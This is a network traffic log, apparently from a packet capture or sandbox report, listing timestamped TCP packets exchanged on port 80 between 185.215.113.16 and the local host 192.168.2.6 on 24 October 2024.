Oct 24, 2024 18:09:13.574549913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574553967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574584961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574603081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574618101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574628115 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574672937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574686050 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574709892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574719906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574759007 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.574918032 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.574978113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.575002909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.575062037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.575064898 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.575104952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.575129986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.575140953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.575155973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.575184107 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611586094 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611670971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611691952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611706972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611742020 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611762047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611762047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611773014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611789942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611816883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.611924887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611978054 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.611984015 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612027884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612031937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612076998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612078905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612111092 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612121105 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612144947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612159967 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612179995 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612200975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612214088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612234116 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612246037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612253904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612279892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612294912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612315893 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612332106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612371922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612488985 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612520933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612543106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612554073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.612560987 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.612603903 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.645755053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.645823956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.645875931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.645929098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.645937920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.645937920 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.645939112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.645963907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.645999908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646019936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646019936 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646034956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646042109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646070004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646100044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646104097 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646126032 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646146059 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646157980 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646193027 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646241903 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646275043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646306992 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646337986 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646373987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646405935 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646439075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646450043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646450996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646450996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646450996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646450996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646450996 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646471977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646508932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646538973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646557093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646557093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646557093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646557093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646557093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646590948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646655083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646706104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646717072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646740913 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646761894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646775961 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.646785021 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646848917 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.646954060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647005081 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647010088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.647038937 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647057056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.647073984 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647090912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.647130013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.647203922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647253990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.647258997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.647305012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688132048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688168049 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688201904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688224077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688224077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688235044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688268900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688292027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688292980 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688303947 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.688319921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.688344955 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691601038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691684008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691782951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691833019 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691837072 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691867113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691886902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691901922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691914082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691943884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691955090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.691977978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.691999912 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692012072 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692020893 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692050934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692066908 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692080021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692102909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692121029 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692131042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692166090 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692199945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692231894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692267895 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692301989 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692358971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692358971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692358971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692358971 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692359924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692359924 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692548990 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692600012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692631960 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692715883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692715883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692715883 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692749023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692796946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692801952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692837000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692889929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692889929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692931890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.692981958 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.692984104 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693033934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693042040 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693068981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693089008 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693103075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693110943 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693150997 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693336964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693388939 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693394899 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693423033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693442106 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693469048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693535089 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693574905 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693583012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693608999 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693628073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693655014 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693779945 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693813086 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693833113 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693860054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693865061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693900108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693921089 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693934917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693942070 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.693969965 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.693988085 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694011927 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694173098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694224119 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694226027 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694257975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694277048 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694308043 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694308043 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694344044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694364071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694377899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.694406033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.694427013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.734838963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.734874964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.734913111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.734946012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.734996080 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735002995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735003948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735003948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735003948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735029936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735068083 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735101938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735104084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735101938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735131025 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735140085 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735151052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735174894 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735183954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735212088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735215902 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735251904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735263109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735299110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735337973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735337973 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735352039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735387087 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735419035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735455036 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735490084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.735590935 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735590935 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735591888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735591888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.735591888 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.764765024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.764867067 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.764921904 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.764956951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.764990091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765017033 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765017986 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765024900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765064955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765101910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765106916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765106916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765106916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765137911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765146017 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765182972 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765191078 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765214920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765232086 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765252113 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765263081 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765286922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765309095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765321016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765353918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765353918 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765409946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765463114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765499115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765566111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765578985 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765579939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765579939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765600920 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765636921 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765654087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765654087 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765677929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765871048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765924931 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765933037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.765974998 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.765986919 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766011000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766028881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766043901 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766076088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766078949 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766094923 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766113997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766120911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766146898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766165018 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766196012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766449928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766505957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766563892 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766594887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766617060 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766647100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766654968 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766680956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.766704082 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.766721964 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.807610035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.807660103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.807694912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.807727098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.807761908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.807821035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.807909012 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:13.810844898 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.810909033 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:13.810960054 CEST	80	49994	185.215.113.16	192.168.2.6
